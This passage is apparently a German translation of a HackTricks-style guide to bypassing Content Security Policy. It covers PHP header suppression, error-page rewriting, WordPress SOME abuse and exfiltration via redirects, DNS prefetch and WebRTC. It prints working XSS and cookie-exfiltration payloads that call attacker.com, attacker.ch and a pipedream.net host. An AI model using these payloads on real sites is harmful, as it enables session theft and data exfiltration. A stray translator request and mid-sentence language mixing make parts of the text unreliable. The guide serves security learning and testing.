Eine weitere Technik nutzt die CSP selbst, um die geheime Subdomain zu ermitteln. Diese Methode basiert auf einem binären Suchalgorithmus und dem Anpassen der CSP, um bestimmte Domains absichtlich zu blockieren. Zum Beispiel, wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zu erlauben. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet sein könnte, um diese Methode zu erleichtern:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Indem man überwacht, welche Requests von der CSP blockiert oder zugelassen werden, kann man die möglichen Zeichen der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.

Beide Methoden nutzen Nuancen der CSP-Implementierung und des Verhaltens von Browsern aus und zeigen, wie scheinbar sichere Policies unbeabsichtigt sensitive information leak.

Trick from here.

Unsichere Techniken zum Umgehen von CSP

PHP Errors when too many params

According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined header() in the PHP web code won't be sent because of the error that this will trigger.

PHP response buffer overload

PHP ist dafür bekannt, standardmäßig die Antwort bis 4096 bytes zu puffern. Daher: wenn PHP eine Warnung ausgibt, kann man durch Bereitstellen von genug Daten in den Warnungen erreichen, dass die Antwort vor dem CSP-Header gesendet wird, wodurch der Header ignoriert wird.\
Die Technik besteht im Wesentlichen darin, den Response-Buffer mit Warnungen zu füllen, sodass der CSP-Header nicht gesendet wird.

Idea from this writeup.

Kill CSP via max_input_vars (headers already sent)

Da Header vor jeglicher Ausgabe gesendet werden müssen, können von PHP ausgegebene Warnungen spätere header()-Aufrufe ungültig machen. Wenn Nutzereingaben max_input_vars überschreiten, wirft PHP zuerst eine Startup-Warnung; jeder nachfolgende header('Content-Security-Policy: ...') schlägt mit “headers already sent” fehl, wodurch CSP effektiv deaktiviert wird und sonst blockierte reflective XSS ermöglicht wird.

php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

Bitte den Inhalt der Datei (README.md) hier einfügen — ich übersetze ihn gemäß den Vorgaben.

bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

Fehlerseite umschreiben

Aus this writeup scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME ist eine Technik, die eine XSS (oder stark eingeschränkte XSS) in einem endpoint einer Seite ausnutzt, um andere endpoints derselben same origin zu missbrauchen. Dies geschieht, indem der verwundbare endpoint von einer attacker page geladen und anschließend die attacker page zur echten Origin/endpoint, die man ausnutzen möchte, neu geladen wird. Auf diese Weise kann der verwundbare endpoint das opener-Objekt im payload nutzen, um auf das DOM des echten auszunutzenden endpoints zuzugreifen. Für weitere Informationen siehe:

SOME - Same Origin Method Execution

Außerdem hat wordpress einen JSONP endpoint in /wp-json/wp/v2/users/1?_jsonp=data, der die gesendeten data im Output reflect (mit der Einschränkung auf Buchstaben, Zahlen und Punkte).

Ein attacker kann diesen endpoint missbrauchen, um einen SOME attack gegen WordPress zu generieren und ihn innerhalb von <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> einzubetten — beachte, dass dieses script geladen wird, weil es von 'self' erlaubt ist. Außerdem, und da WordPress installiert ist, könnte ein attacker den SOME attack über den verwundbaren callback endpoint missbrauchen, der die CSP bypasses, um einem user mehr Rechte zu geben, ein neues plugin zu installieren...

For more information about how to perform this attack check https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Wenn eine strikte CSP vorhanden ist, die es nicht erlaubt, mit externen Servern zu interagieren, gibt es dennoch einige Dinge, mit denen du die Informationen exfiltrieren kannst.

Location

Du könntest einfach die location aktualisieren, um die geheimen Informationen an den attacker's server zu senden:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Du könntest durch Einfügen eines meta tag umleiten (das ist nur eine Weiterleitung, das wird keinen leak von Inhalten verursachen)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Um Seiten schneller zu laden, lösen Browser Hostnamen vorab in IP-Adressen auf und cachen sie zur späteren Verwendung.
Du kannst den Browser anweisen, einen Hostnamen vorab aufzulösen mit: <link rel="dns-prefetch" href="something.com">

Du könntest dieses Verhalten missbrauchen, um exfiltrate sensitive information via DNS requests:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Eine andere Möglichkeit:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Um dies zu verhindern, kann der Server den HTTP-Header senden:

X-DNS-Prefetch-Control: off

tip

Anscheinend funktioniert diese Technik nicht in headless browsers (bots)

WebRTC

Auf mehreren Seiten liest man, dass WebRTC die connect-src-Richtlinie der CSP nicht prüft.

Tatsächlich kannst du Informationen mithilfe einer DNS request leak. Schau dir diesen Code an:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Eine andere Option:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

Das credential popup sendet eine DNS-Anfrage an die iconURL, ohne von der Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

CSP-Richtlinien online prüfen

CSP automatisch erstellen

https://csper.io/docs/generating-content-security-policy

Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks